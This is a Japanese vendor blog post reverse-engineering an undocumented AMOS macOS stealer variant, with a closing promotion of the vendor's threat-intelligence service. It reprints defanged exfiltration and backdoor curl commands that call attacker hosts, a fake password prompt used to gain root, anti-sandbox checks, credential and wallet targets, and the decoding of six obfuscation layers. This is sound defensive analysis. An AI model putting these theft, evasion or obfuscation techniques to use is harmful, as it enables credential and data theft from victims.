未知のAMOSスティーラーの解剖:アラートから免疫獲得まで数時間
これまで文書化されていなかったAMOSスティーラーの亜種が、macOSエンドポイントを侵害しました。既知のハッシュはなく、公開データベースにC2データもありません。当社のSOCは6層の難読化を解体し、すべての指標を抽出したうえで、業界がこの検体を目にするよりも前に、数時間以内ですべてのSOCのお客様へ保護を配布しました。

当社のSOCでアラートが発報すると、そこから時計が動き始めます。対象となったお客様だけでなく、当社の保護下にあるすべての組織にとってです。現代の脅威環境で最も危険な瞬間はインテリジェンス・ギャップ、つまり新しいマルウェア亜種が最初に投入されてから、業界がその存在を知る日までの時間の窓です。
単独で活動するセキュリティチームにとって、この空白は極度の脆弱性を意味します。まだ書かれてもいないベンダー更新やシグネチャフィードを待つことになるからです。お客様に対しては、当社が内製したShared Threat Intelligenceがまさにこの窓を閉じます。
本記事は、これまで文書化されていなかったAMOSの亜種(Atomic macOS Stealer)を当社がどのように分解したか、そして単一の侵害されたエンドポイントから数時間のうちに、すべてのお客様環境を覆う検知とブロックがどのように生まれたかを、技術的に読み解くものです。
インシデント:未知のIOCシナリオ
アラートが届いたのは2026年3月12日の現地時間6時25分でした。macOSエンドポイントが侵害されていたのです。当社のSOCがアーティファクトの解析に着手したとき、私たちはあらゆる脅威アナリストが恐れる状況に直面していました。既知のファイルハッシュもなく、C2のIPアドレスもなく、公開データベースには有意な挙動シグネチャもありません。
攻撃アーキテクチャの全体像が明らかになったのは、詳細解析に入ってからです。感染は15.7 MBのmacOS Universal Binary(x86_64とARM64)を基盤としており、/private/tmp/helperに配置されていました。この検体は侵害されたシステム上から直接は入手できず、当社チームは感染チェーンを再構成し、本来の配信リクエストを模擬して、攻撃者インフラからバイナリを手作業で取得する必要がありました。
Stage 1:サンドボックス検査
本来のスティーラーがデバイス上で実行されるより前に、すでにAppleScriptのペイロードが動作していました。その中の文字列、ファイルパス、シェルコマンド、URLはすべて、3つの独自の算術関数でエンコードされていました。
on ipbgcjzgqa(a, b)
-- result[i] = chr(a[i] - b[i])
on kwcvvjininv(a, b)
-- result[i] = chr(a[i] + b[i])
on xqylheckjx(a, b, offset)
-- result[i] = chr(a[i] - b[i] - offset)
平文で現れる文字列は一つもありません。一見すると意味のない整数配列に見えたものは、エンコード方式を逆算すると、完成した実戦投入可能なデータ窃取・持ち出しフレームワークであることが判明しました。
当社はスクリプト内のすべての配列を静的にデコードしました。結果は明白でした。
Download URL: https[:]//woupp[.]com/n8n/update
Exfil server: http[:]//92[.]246[.]136[.]14/contact
Exfil method: curl --connect-timeout 120 --max-time 300 -X POST -F "file=@/tmp/out.zip"
このダウンロードURLは、正規のn8nワークフロー自動化ツールの更新を意図的に模倣しています。n8nは開発者やDevOpsエンジニアの間で広く使われているツールです。これは偶然ではありません。このキャンペーンが狙っているのは技術に精通した利用者であり、クラック版ソフトウェアを入れるような一般の利用者ではないのです。
アンチサンドボックスチェック
ダウンロードの前に、スクリプトは専用のVM・サンドボックス検出ルーチンを実行していました。インシデントのアーティファクトからは、独立したアンチサンドボックススクリプトも復元できました。
set urgufr to do shell script "system_profiler SPMemoryDataType"
set qcsvjxp to do shell script "system_profiler SPHardwareDataType"
スクリプトはその結果を2つのリストと照合します。1つ目はメモリ情報の中に仮想化の痕跡がないかを探すものです。
"QEMU" "VMware" "KVM"
2つ目は、ハードウェア識別子を既知の解析マシンのシリアル番号リストと照合するものです。
"Z31FHXYQ0J" -- known sandbox machine serial
"C07T508TG1J2" -- known sandbox machine serial
"C02TM2ZBHX87" -- known sandbox machine serial
"Chip: Unknown" -- emulation indicator
"Intel Core 2" -- legacy/VM indicator
一致した場合はexit 100で完全に中断します。Apple Silicon搭載の実機のMacBook Proでは、すべての検査が何も表示せずに通過し、実行はそのまま続きました。バイナリを1バイトもダウンロードしないうちに動作する、プロ水準のサンドボックス回避技術です。
単純ながら効果的:偽のパスワード入力ダイアログ
デコードしたスクリプトには、ソーシャルエンジニアリングによる権限昇格用のダイアログも含まれていました。
Title: "Application wants to install helper"
Prompt: "Required Application Helper. Please enter device
password to continue."
Button: "Continue"
このダイアログは、macOS標準のdisplay dialog呼び出しにwith hidden answerを付けて表示され、見た目では本物のmacOS認証要求と区別がつきません。スクリプトは入力されたパスワードを使ってlogin -pf <username>を呼び出し、バイナリが実行されるよりも前にプロセスをroot権限へ昇格させていました。
スクリプトが収集したもの
バイナリが実行されると、osascriptは自身の収集処理を続行し、あらゆる種類の機微なシステムデータを吸い上げました。当社は収集対象のパスと宛先をすべてデコードしました。
ブラウザデータ(全Chromium系ブラウザ + Safari):
/Login Data /Cookies /Web Data
/Local Extension Settings/ /IndexedDB/ /Local Storage/leveldb/
macOS Keychain:
~/Library/Keychains/login.keychain-db -- accessed directly via cat
Apple Notes
カウンタ付きヘッダーを添えてHTMLとして全内容をエクスポート
ローカルファイル
デスクトップと書類、最大30 MB、重点は次の拡張子です。
pdf doc docx xls xlsx ppt pptx txt rtf
key p12 pem cert pfx sql db sqlite
json xml yaml conf env csv
暗号資産ウォレット
200件を超えるブラウザ拡張機能IDがハードコードされたリストで、MetaMask、Coinbase Wallet、TronLink、Phantom、Keplr、Yoroi、Ledger Live、Trezor Suite、XDEFI、Exodusなど主要なウォレットを網羅しています。
収集後、すべてのデータはランダムな名前の一時ディレクトリにまとめられ、外部へ持ち出されました。
ditto -c -k --sequesterRsrc <staging_dir> /tmp/out.zip
curl --connect-timeout 120 --max-time 300 -X POST \
-H "user: <uuid>" -H "BuildID: <hw_profile>" \
-F "file=@/tmp/out.zip" laislivon[.]com/contact
後片付けはその直後に行われます。
rm -r <staging_dir>
rm /tmp/out.zip
Stage 2:'helper' バイナリのリバースエンジニアリング
この解析が本当に深部へ入っていくのはhelperバイナリです。これはプロの手による難読化が施されたmacOS実行ファイルで、静的解析を組織的に妨害し、本調査で最大のリバースエンジニアリング工数を要しました。
解析はすべてGhidraと当社独自のARM64解析ワークフローで実施しました。
ファイル属性
実行はmain()の前に始まる
Ghidraで最初に分かったのは、このバイナリが通常の実行ファイルのようには振る舞わないという点です。実際のエントリポイントはmain()ではなく、__mod_init_funcに登録された関数です。これは、バイナリのロード時に特定の関数を自動実行するようダイナミックリンカ(dyld)へ指示するmacOSの仕組みで、実行可能なコードが動き出す前に処理が走ります。
0x10009f384にあるinit関数が、このマルウェアの実質的なエントリポイントです。Ghidraによる逆コンパイル結果は次のとおりです。
// FUN_10009f384 @ 0x10009f384
// __mod_init_func registered — executes before main()void FUN_10009f384(void)
{
int iVar1;
// Anti-sandbox delay: usleep(0x37e) = 894 microseconds
iVar1 = _usleep(0x37e);
// Indirect jump table — 14-state machine// Defeats CFG reconstruction in static analysis tools
(_(code _)((ulong)switchD_10009f43c::switchdataD_1000cd3fc * 4 + 0x10009f440))(iVar1);
return;
}
すぐに目を引く点が2つあります。1つは起動時の894マイクロ秒のusleep、アンチサンドボックスのタイミング信号です。より厄介なのは0x10009f43cにある間接ジャンプテーブルです。これは分岐先アドレスを実行時にルックアップテーブルから求める計算分岐で、静的解析ツールは制御フローグラフを再構成できません。Ghidraは実行経路を追おうとして「unreachable block」の警告を複数回記録しました。これは設計どおりの結果です。
このジャンプテーブルが14状態の実行マシンを駆動します。各状態は復号・実行パイプラインの単一の離散的なステップを担当します。状態カウンタはステップごとに更新され、マシンはすべての状態を通過するまで動き続けます。
ステートディスパッチャのARM64逆アセンブル
10009f3fc: stp xzr,xzr,[sp, #0x48]
10009f41c: mov w0,#0x37e
10009f420: bl 0x1000a0fa8 ; _usleep(0x37e) — 894µs anti-sandbox
10009f424: cmp w25,#0xd ; state counter < 14?
10009f428: b.hi 0x10009fd44 ; exit if done
10009f42c: mov w8,w25 ; current state index
10009f430: adr x9,0x10009f440 ; base of jump table
10009f434: ldrh w10,[x20, x8, LSL#1]; load jump offset from table
10009f438: add x9,x9,x10, LSL #0x2 ; compute target address
10009f43c: br x9 ; indirect branch, CFG broken here
積み重ねられた6層の難読化
このバイナリは6種類の難読化層を用い、それらを積み重ねて連結しているため、各層の出力が次の層へ供給されます。ペイロードも文字列も内部定数もすべてエンコードされています。__constセグメントには意味のある平文は一切現れません。以下は、個々のARM64命令のレベルまでGhidra上で直接検証した、層ごとの完全な読み解きです。使われている技法は個別に見ればいずれも既知のものですが、複数段にわたって連結した適用は相互依存の強い実行フローを生み出し、静的解析と動的解析の双方を著しく困難にしました。
Layer 1:コンパイル時トリプレットエンコーディング
バイナリ内の文字列は文字の並びとしては保存されておらず、12バイトの算術トリプレットの列として格納されています。各トリプレット(a, b, shift)がちょうど1文字の出力をエンコードします。このエンコード方式はコンパイル時に適用されるため、ロード時に一時的にも、平文の文字列がバイナリ内に存在することはありません。
2つの独立したデコーダ関数が、異なる文字列長を扱います。0x100087c08にあるFUN_100087c08は60文字の文字列(DAT_1006292ccからの720バイトの入力データ)をデコードします。0x10007ad80にあるFUN_10007ad80は56文字の文字列(DAT_10049708cからの672バイト)をデコードします。どちらも同じアルゴリズムを使います。
// FUN_100087c08 @ 0x100087c08
// Triplet decoder, 60 chars, data from DAT_1006292ccvoid FUN_100087c08(long *param_1)
{
long *plVar1;
void *pvVar2;
long lVar3;
uint *puVar4;
pvVar2 = operator_new(0x2d0); // allocate 720 bytes (60 triplets × 12)
_memcpy(pvVar2, &DAT_1006292cc, 0x2d0); // copy encoded triplets from __const
FUN_1000a0840(param_1, 0x3c, 0); // init 60-char output buffer
lVar3 = 0;
puVar4 = (uint _)((long)pvVar2 + 8);
do {
plVar1 = (long _)_param_1;
if (-1 < _(char _)((long)param_1 + 0x17)) {
plVar1 = param_1;
}
// THE DECODE FORMULA, one character per triplet:
// char = ((b _ 3) XOR a) >> shift) - b
_(char _)((long)plVar1 + lVar3) =
(char)((int)(puVar4-1 * 3 ^ puVar4-2) >> (*puVar4 & 0x1f)) - (char)puVar4-1;
lVar3 = lVar3 + 1;
puVar4 = puVar4 + 3; // advance 12 bytes — next triplet
} while (lVar3 != 0x3c); // loop exactly 60 times
operator_delete(pvVar2);
return;
}
対応するARM64アセンブリは次のとおりで、各命令が式の中の演算に直接対応します。
100087c48: add x9,x20,#0x8
100087c4c: ldp w10,w11,[x9, #-0x8] ; load a → w10, b → w11
100087c50: add w12,w11,w11, LSL #0x1 ; w12 = b + (b << 1) = b * 3
; (compiler avoids MUL instruction)
100087c54: eor w10,w12,w10 ; w10 = (b*3) XOR a
100087c58: ldr w12,[x9], #0xc ; w12 = shift value; post-increment by 12
100087c5c: asr w10,w10,w12 ; arithmetic right shift — sign bit preserved
100087c60: sub w10,w10,w11 ; subtract b — final decoded character
100087c74: strb w10,[x11, x8, LSL ] ; store one byte to output buffer
100087c78: add x8,x8,#0x1
100087c7c: cmp x8,#0x3c ; loop counter vs. 60
100087c80: b.ne 0x100087c4c ; continue until all 60 chars decoded
注目すべき点として、b × 3の乗算はadd w12, w11, w11, LSL #1として実装されています。乗算命令を完全に避けるシフト・アンド・アッドです。これは古典的なコンパイラ最適化であると同時に、シグネチャマッチングによる検出を難しくする効果もあります。
デコード式の全体は次のとおりです。
char = ASR( (b × 3) XOR a, shift ) − b
ASR(算術右シフト)が決定的に重要で、符号ビットを保持します。(b×3) XOR aの中間結果が負になる場合(これは頻繁に起こります)、論理シフトではまったく異なる結果になってしまいます。これは意図的なものです。高級言語で>>を使ってこの式を再実装すると、符号付き演算を明示的に考慮しない限り、誤った出力が黙って生成されます。
56文字版のFUN_10007ad80は構造的に同一で、DAT_10049708cを対象にループ上限0x38で動作します。両関数とも、本解析の中でGhidra上で実際に確認しました。
Layer 2:16進文字列エンコーディング
Layer 1が生成する生バイト列は、それ自体がASCIIの16進文字であり、バイナリデータではありません。Layer 1のトリプレットデコードの出力は16進ペアからなる文字列、たとえば32694e5462...です。これは0x100000dc0にあるデコーダ関数FUN_100000dc0から裏づけられます。この関数はDAT_1007bb591のルックアップテーブルを介した16進デコードを実装しています。
Ghidraの逆コンパイル結果には、各16進文字(0x30-0x39、0x41-0x46、0x61-0x66)をニブル値へ対応づけ、2文字ずつまとめて出力バイトを組み立てるswitch文が現れます。
// FUN_100000dc0 @ 0x100000dc0// Hex decoder, processes input two characters per output byteswitch(*(undefined1 *)((long)plVar2 + lVar7)) {
case 0x30: break; // '0' → 0x00
case 0x31: bVar9 = 0x10; break; // '1' → 0x10
case 0x32: bVar9 = 0x20; break; // '2' → 0x20
// ... '3' through '9' ...
case 0x41: case 0x61: bVar9 = 0xa0; break; // 'A'/'a' → 0xa0
case 0x42: case 0x62: bVar9 = 0xb0; break; // 'B'/'b' → 0xb0
case 0x43: case 99: bVar9 = 0xc0; break; // 'C'/'c' → 0xc0
case 0x44: case 100: bVar9 = 0xd0; break; // 'D'/'d' → 0xd0
case 0x45: case 0x65: bVar9 = 0xe0; break; // 'E'/'e' → 0xe0
case 0x46: case 0x66: bVar9 = 0xf0; break; // 'F'/'f' → 0xf0
}
// Second nibble from lookup table at DAT_1007bb591
*(byte *)((long)pppppppuVar3 + uVar8) =
(&DAT_1007bb591)[(ulong)uVar4 & 0xff] | bVar9;
ARM64アセンブリはこれを二次的な計算分岐テーブルで駆動し、事実上55エントリのジャンプテーブルとしてswitchを実装しています。
100000e5c: adr x17,0x100000e6c ; base of case-dispatch table
100000e60: ldrb w0,[x12, x16, LSL ] ; load offset for this hex char
100000e64: add x17,x17,x0, LSL #0x2 ; compute dispatch address
100000e68: br x17 ; jump — second computed branch in 24 bytes
24バイトの範囲に計算分岐が2つ。どちらの分岐先も解析時点では不明なため、静的解析ツールはこのパターンに対処できません。
137,208文字の16進文字列はデコード後に68,604バイトとなり、それがLayer 3へ供給されます。
Layer 3:独自の16シンボル・ニブルアルファベット
Layer 2から出力される68,604バイトは、連続しない2つのASCII領域から取られた16種類のバイト値しか使いません。
0x20-0x2F:空白、!、"、#、$、%、&、'、(、)、*、+、,、-、.、/0x78-0x7F:x、y、z、{、|、}、~、DEL
これは意図的な設計判断です。16進エディタ上では、これらのバイトは空白や約物、ASCIIの端の文字に見え、メタデータやパディングらしきものの雑音に紛れます。16進ダンプを流し読みするアナリストは、このバイト領域を不審とは判定しませんし、バイト分布がランダムに見えないため、標準的なエントロピー解析は実効的なエントロピーを過小評価します。
このアルファベットの各バイトが、実際のペイロードの1ニブルをエンコードします。アルファベットとニブルの対応づけを適用するのはエンコード/デコード関数FUN_100000d60で、0x100000d60にあることを確認しました。この関数は2つのサブ関数を連結します。FUN_100000b50が入力文字列の文字をインデックス付きのマップにし、FUN_100000c34がそのマップをたどりながら1ステップあたり6ビットを消費し、8ビット単位で出力バイトを積み上げます。
// FUN_100000c34 @ 0x100000c34, nibble accumulator
iVar5 = 0;
do {
local_52 = *(undefined1 *)puVar4;
lVar3 = FUN_1000a078c(param_3, &local_52); // look up nibble value
if (lVar3 == 0) {
// character not in alphabet, treat as raw
FUN_1000a078c(param_3, &local_51);
} else {
iVar5 = iVar5 + 4; // accumulate 4 bits
while (7 < iVar5) {
std::string::push_back((char)param_1); // emit byte when 8+ bits ready
iVar5 = iVar5 + -8;
}
}
puVar4 = (undefined8 *)((long)puVar4 + 1);
} while (puVar4 != puVar1);
この処理から得られる34,302バイトは、99.7%が印字可能なASCIIです。ざっと見た限りでは、この段階のペイロードは大きなシェルスクリプトか設定用のブロブのように見えます。
Layer 4:コンパイル時文字列難読化
内部で使われる文字列は、Layer 1と同じトリプレット方式でコンパイル時に難読化され、実行時に使用の直前で再構成されます。メモリ上には必要以上に長く留まらず、バッファは使用後ただちに解放されます。バイナリの静的データセクションに、デコード済みの文字列が見える瞬間は一度もありません。
文字列ハッシュ関数FUN_100000730は、文字列比較に対する二次的な難読化層を提供します。文字列を直接比較すればメモリ上に平文が残ってしまうため、このバイナリは整数ハッシュを計算して比較します。
// FUN_100000730 @ 0x100000730// FNV-style string hash, avoids plaintext string comparisonsint FUN_100000730(char *param_1)
{
int iVar4 = 0x19a8; // FNV offset basis (modified)
// ...
for (; uVar3 != 0; uVar3 = uVar3 - 1) {
iVar4 = (int)*pcVar1 + iVar4 * -0x7fb91be3; // FNV-1a style multiply
pcVar1 = pcVar1 + 1;
}
return iVar4;
}
ARM64アセンブリでは、この乗算が積和演算(fused multiply-add)に置き換えられています。
100000744: mov w0,#0x19a8 ; FNV basis
100000750: mov w10,#0xe41d
100000754: movk w10,#0x8046, LSL #16 ; constant = 0x8046e41d = -0x7fb91be3
100000758: ldrsb w11,[x8], #0x1 ; load char, post-increment
10000075c: madd w0,w0,w10,w11 ; w0 = w0 * 0x8046e41d + char
100000760: subs x9,x9,#0x1
100000764: b.ne 0x100000758
つまり、バイナリ内で2つの文字列を比較しても、デバッガが文字列のレベルできれいに捕捉できる分岐は生まれず、ハッシュのレベルでしか捉えられません。
Layer 5:二重のカスタムストリーム暗号インスタンス
ここから難読化アーキテクチャは異例の様相を帯びます。このバイナリで動作する暗号インスタンスは1つではなく、独立した2つのインスタンスであり、それぞれ異なるハードコードされたルックアップテーブルと異なる初期カウンタを持ちます。どちらも同じアルゴリズム構造を使いますが、ペイロードパイプラインの異なる部分に向けて異なる出力アルファベットを生成します。
インスタンスAは0x10007ab34にあるFUN_10007ab34です。
// Instance A, start counter 0x4c, table @ 0x100496f8b
uVar6 = 0x4c;
do {
bVar2 = *(byte *)((long)local_e0 +
((ulong)(*(byte *)((long)local_c8 + uVar5) ^ uVar6) & 0xff));
*(byte *)((long)plVar1 + uVar5) = bVar2;
uVar6 = (int)uVar5 + (uVar6 ^ bVar2); // counter: i + (counter XOR output)
uVar5 = uVar5 + 1;
} while (uVar7 != uVar5);
インスタンスBは0x10007a7e0にあるFUN_10007a7e0です。
// Instance B, start counter 0x9f, different table @ 0x100496e0a region
uVar6 = 0x9f;
do {
bVar2 = *(byte *)((long)local_c0 +
((ulong)(*(byte *)((long)local_a8 + uVar5) ^ uVar6) & 0xff));
*(byte *)((long)plVar1 + uVar5) = bVar2;
uVar6 = (int)uVar5 + (uVar6 ^ bVar2); // identical counter update formula
uVar5 = uVar5 + 1;
} while (uVar7 != uVar5);
アルゴリズムは構造的に同一ですが、初期カウンタが異なり(0x4cと0x9f)、ルックアップテーブルも別のメモリアドレスに置かれています。インスタンスAは状態マシンの状態11から呼ばれ、最初のペイロード経路用のエンコードアルファベットを生成します。インスタンスBは状態6から呼ばれ、大きなシェルスクリプトペイロードのデコード用アルファベットを生成します。
正確に言えば、これはカウンタ依存インデックスを持つ換字式暗号です。各出力バイトはテーブル参照であり、そのインデックスは(input_byte XOR counter) & 0xFFです。カウンタは1バイトごとにcounter = (i + (counter XOR output)) & 0xFFとして更新されるため、各出力バイトが次の参照インデックスの決定に影響します。これにより出力列の全体にわたる依存の連鎖が生まれます。バイト0からN-1までを正しく復号していなければ、バイトNは復号できません。部分的な復号や誤り解析は、これによって著しく難しくなります。
どちらのインスタンスも標準的なRC4ではありません。S-boxの初期化フェーズもなければ、S-boxのスワップ操作もありません。ルックアップテーブルはコンパイル時に埋め込まれた静的な定数です。
Layer 6:終了コード依存の鍵によるランタイムXOR
最後の層は解析上もっとも手強く、Stage 2のペイロードにインプレースのXOR変換を適用します。XOR鍵はハードコードされておらず、最初のシェルペイロード実行の終了コードから実行時に導出されるため、静的解析では原理的に決定できません。鍵が存在するようになるには、バイナリが実際に実行され、最初のシェルスクリプトが最後まで動き切る必要があります。
ARM64の状態マシンディスパッチャにおける鍵導出のシーケンスは次のとおりです。
; After shell_exec_via_pipe #1 returns, exit code is in w0
10009f838: ubfx w8,w0,#0x8,#0x8 ; extract bits [15:8] of exit status
10009f83c: mov w9,#0x7f0 ; multiplier constant
10009f840: madd w8,w8,w9,w26 ; key = (exit_byte × 0x7f0) + base_counter
10009f844: and w24,w8,#0xffff ; mask to 16-bit key → stored in w24
Stage 2のペイロードを処理するXORループは次のとおりです。
; In-place XOR, every byte of the payload is XORed with w24
10009fc34: ldrb w10,[x8, x9, LSL ] ; load payload byte
10009fc48: eor w10,w10,w24 ; XOR with key
10009fc4c: strb w10,[x8, x9, LSL ] ; write decrypted byte in place
鍵は16ビット値で、最初のシェルペイロードの終了ステータスバイトから導かれ、0x7f0を掛けたうえで、状態マシンの基底カウンタレジスタw26の現在値に加算されます。乗数定数0x7f0があるため、終了コードが1ビット違うだけでまったく別の鍵になります。隣り合う鍵の値のあいだに、利用できる連続性はありません。
バイナリを管理された環境で実行し、最初のシェルペイロードの正確な終了コードを記録しない限り、Stage 2のペイロードは静的解析にとって永久に不透明なままです。これが解析全体で最も高い壁でした。
シェル実行:引数ではなくパイプ、そしてSIMD XOR
0x10000091cにあるシェル実行関数FUN_10000091cは、このバイナリでアーキテクチャ的に最も興味深い構成要素です。ここにすべてが集まります。デコード済みのペイロード、難読化されたコマンド名、そして明確な反フォレンジック設計です。この関数における設計判断は、いずれも特定の回避目的を持っています。
ステップ1:コマンド名は平文では現れない
/bin/zshは、このバイナリのどこにも平文としては存在しません。0x1007bb5c8の__cstringセクションには、難読化されたバイト列\x01LG@\x01T]Fとして置かれています。デコードは実行時に単一のXOR演算で行われ、ARM64アセンブリ上で直接検証できます。
; FUN_10000091c — command name decode via SIMD XOR
100000960: adrp x8,0x1007bb000
100000964: add x8,x8,#0x5c8 ; x8 → "\x01LG@\x01T]F" in __cstring
100000968: ldr x8,[x8] ; load 8 obfuscated bytes as uint64
10000096c: str x8,[sp, #0x20]
100000970: strb wzr,[sp, #0x28] ; null terminator
100000974: ldr d0,[sp, #0x20] ; load into SIMD register d0
100000978: movi v1.8B,#0x2e ; broadcast 0x2e to all 8 lanes of v1
10000097c: eor v0.8B,v0.8B,v1.8B ; XOR all 8 bytes simultaneously
100000980: str d0,[sp, #0x20] ; store decoded "/bin/zsh"
100000988: mov w8,#0x732d ; 0x732d = "-s" (little-endian)
10000098c: strh w8,[sp, #0x4] ; store argument string
XOR鍵は0x2e、ピリオド.のASCII値です。デコードはeor v0.8B, v0.8B, v1.8Bという単一の命令で行われます。これは8バイトすべてを同時にXORするARM64のNEONベクトル命令です。単純な8バイトのデコードにSIMD命令を使うのは異例で、効果は2つあります。1バイトずつのループより速いこと、そして生成される命令パターンが、シグネチャマッチングツールが学習しているスカラーのデコードループとは根本的に異なることです。
検証は簡単です。0x01 XOR 0x2e = 0x2f = /、0x4c XOR 0x2e = 0x62 = b、0x47 XOR 0x2e = 0x69 = i、0x40 XOR 0x2e = 0x6e = nとなり、最初の4バイトで/binが得られます。
ステップ2:パイプアーキテクチャ
コマンド名をデコードしたあと、この関数はOSのパイプを作成してforkします。
100000990: bl 0x1000a0f6c ; _fork()
100000994: mov x20,x0 ; save PID
100000998: cbz w0,0x100000b00 ; if child: jump to exec path
子プロセス側は次のとおりです。
; Child process path
100000b0c: mov w1,#0x0
100000b10: bl 0x1000a0f48 ; _dup2(pipe_read_fd, STDIN=0)
; pipe read-end is now stdin, shell reads from pipe
100000b2c: add x0,sp,#0x20 ; argv[0] = "/bin/zsh"
100000b30: add x1,sp,#0x8 ; argv array
100000b34: bl 0x1000a0f60 ; _execvp("/bin/zsh", ["/bin/zsh", "-s", NULL])
子プロセスは自身の標準入力をパイプの読み出し側に差し替え、/bin/zsh -sを起動します。-sモードでは、シェルはコマンドをstdinから読み込みます。プロセス監視ツールから見ると、このプロセスは引数のない/bin/zsh -sとして現れ、正規の対話シェルセッションと区別がつきません。
ステップ3:可変サイズのチャンク書き込み
親プロセスは、復号済みのペイロードを意図的に変動するチャンクサイズでパイプの書き込み側へ送ります。
; Parent: compute chunk size then write
1000009d4: umulh x8,x23,x24 ; high-half multiply for modulo
1000009d8: lsr x8,x8,#0x7
1000009dc: msub x8,x8,x25,x23 ; x8 = length % 0xc0
1000009e0: add x8,x8,#0x40 ; chunk = (length % 192) + 64
; range: 64 to 255 bytes per write
1000009e4: cmp x8,x23 ; clamp to remaining length
1000009e8: csel x2,x8,x23,cc
1000009ec: ldr w0,[sp, #0x34] ; pipe write fd
1000009f0: mov x1,x21 ; payload pointer
1000009f4: bl 0x1000a0fc0 ; _write(fd, buf, chunk_size)
100000a04: mov w0,#0x1
100000a08: bl 0x1000a0fa8 ; _usleep(1), 1µs between chunks
100000a0c: add x21,x21,x22 ; advance pointer
100000a10: sub x23,x23,x22 ; reduce remaining count
100000a14: cbnz x23,0x1000009d4 ; loop until done
チャンクサイズの式(remaining_length % 192) + 64は、残りのペイロード長に応じて1回のwrite呼び出しあたり64から255バイトの値を生成します。この可変の書き込みパターンはktraceやdtraceのようなカーネルイベントトレースツールからは見えますが、認識可能な固定サイズのシグネチャは生みません。同じペイロードでも、実行するたびにwrite()システムコールのサイズ列は変わります。
チャンクの間に挟まれる1マイクロ秒のusleepには第二の目的があります。書き込みのあいだCPUを解放し、CPU使用率を平坦に保ち、挙動ベースのEDRルールが異常なバーストI/Oと判定しかねない急激な山を避けるのです。
ステップ4:即時のメモリ消去
; After all chunks written and pipe closed:
100000a20: ldrb w8,[x19, #0x17] ; check string storage type
100000a24: sxtb w9,w8
100000a28: ldp x10,x11,[x19]
100000a30: csel x0,x10,x19,lt ; pointer to payload buffer
100000a34: csel x1,x11,x8,lt ; length of buffer
100000a38: bl 0x1000a0f30 ; _bzero(payload_buf, length)
_bzero()の呼び出しは、パイプへの最後の書き込みの直後に、復号済みペイロードのバッファ全体をゼロで埋めます。実行完了後に復号済みペイロードがメモリに残る時間の窓は、1マイクロ秒すら存在しません。この関数から戻った直後にライブメモリダンプを取得しても、ペイロードがあった場所にはゼロしか見つかりません。
これはzero-after-useと呼ばれ、鍵素材をメモリに残さないために高いセキュリティ水準の暗号ライブラリが用いるのと同じ技法です。この技法が汎用のマルウェアに現れるのは異例であり、開発者にセキュリティエンジニアリングの素養があることをうかがわせます。
完全な実行シーケンス:
__cstring: "\x01LG@\x01T]F" (7 bytes, obfuscated)
↓ SIMD XOR with 0x2e (8-wide vector)
stack: "/bin/zsh\0" (decoded in-place, stack only)
↓ _pipe() creates fd pair [read=local_60, write=local_5c]
↓ _fork()
│
├─ CHILD: _dup2(local_60, 0) stdin = pipe read end
│ _execvp("/bin/zsh", ["/bin/zsh", "-s", NULL])
│ → /bin/zsh reads commands from stdin (= pipe)
│
└─ PARENT: loop: _write(local_5c, payload, variable_chunk)
_usleep(1)
_close(local_5c) close write end → EOF to shell
_bzero(payload, len) ← WIPE IMMEDIATELY
_waitpid(child, ...)
武器としてのインポートテーブル
このバイナリのインポートテーブルの全体は次のとおりです。
// C runtime / memory
_memcpy _memmove _memset _bzero
// Process execution
_fork _execvp _execl __exit
// IPC / pipes
_pipe _dup2 _close _write
// Synchronisation
_waitpid _usleep
// Stack protection
___stack_chk_fail ___stack_chk_guard
// C++ runtime
operator.new operator.delete __Unwind_Resume
___cxa_allocate_exception ___cxa_throw ___cxa_begin_catch
___cxa_end_catch ___cxa_free_exception ___gxx_personality_v0
terminate logic_error bad_array_new_length __next_prime
// STL containers
append reserve push_back operator=
// Dynamic linking
dyld_stub_binder
合計27シンボルです。何が欠けているかは、何があるかと少なくとも同じくらい多くを物語ります。
不在:ネットワーク
socket connect bind listen
accept send recv sendto
recvfrom getaddrinfo gethostbyname
不在:ファイルシステム
open read fopen fread
fwrite fclose stat unlink
mkdir rename opendir readdir
不在:プロセス内観
getpid getuid getenv sysctl
不在:暗号処理
CCCrypt SecItemAdd SecKeychainFind
従来型のマルウェア検体であれば、ネットワーク関連のインポート(socket、connect)やファイル関連のインポート(fopen、write)があると想定します。このバイナリには1つもありません。標準的なスキャナから見れば、無害なプロセスランチャーに見えます。それが狙いどおりです。静的解析ツールを空振りさせるための、意図的なアーキテクチャ上の判断なのです。
helperバイナリ自体が窃取を行うわけではありません。その唯一の目的は、本体である悪性ペイロード、すなわち強く難読化されたAppleScriptを投下して実行することです。悪性バイナリを探すEDRやAVは、ここにネットワークI/OもファイルI/Oも持たないローダーを見て、これを問題なしと判定しかねません。このバイナリが高水準スクリプトペイロードのための専用の配送システムである、という点を見落としてしまうのです。
バックドア
インシデントは初期侵害で終わりませんでした。Microsoft Defenderのテレメトリは、/Users/<redacted>/.mainhelperから実行され外部サーバーに問い合わせるプロセスを捉えていました。
sh -c "curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'"
このBase64文字列は16バイトのデバイスUUIDにデコードされました。攻撃者のC2インフラが初回感染の日にこのデバイスへ割り当てた、一意の識別子です。
.mainhelperバイナリ(SHA-256:7c6766e2b05dfbb286a1ba48ff3e766d4507254e217e8cb77343569153d63063)は、インシデント当日にosascriptのドロッパーによってditto経由でインストールされていました。
集団的な盾の強み:当社のShared Threat Intelligenceプラットフォーム
当社のSOCでアラートが発報すると、時計が動き始めるのは対象となったお客様だけのためではなく、glueckkanjaの防護の傘の下にあるすべての組織のためです。文書化されていなかったAMOS亜種に対する今回の調査は、インテリジェンス・ギャップが実務上何を意味するかを明確にします。従来型のベンダーが脅威をまだ見ていないがゆえに何も見えていない、危険な時間の窓です。
ここで価値を発揮するのが、glueckkanjaのCSOCをご利用のお客様専用に開発した、当社独自のShared Threat Intelligence Platformです。当社は業界の更新を待つのではなく、それを生み出す側にいます。アナリストがARM64アセンブリの最後の層をまだ分解している最中に、当社のAutomated Orchestration Engineは抽出した指標をエコシステム全体へすでに配布していました。これが集団免疫を生みます。ある単一のエンドポイントで発見されたものが、数分のうちに当社の保護下にあるすべての組織にとってブロック済みの脅威になるのです。
従来型の防御機構の隙間を狙って抜けてくる脅威に対して、受動的なセキュリティは機能しません。答えは、人間の専門性と、その知見を即座かつ大規模に適用するアーキテクチャとを結びつけることにあります。当社のShared Intelligenceモデルによって、攻撃者の時間的優位は逆転します。お客様は、脅威が業界に認識されるよりも前に守られているのです。
データ保護に関する注記
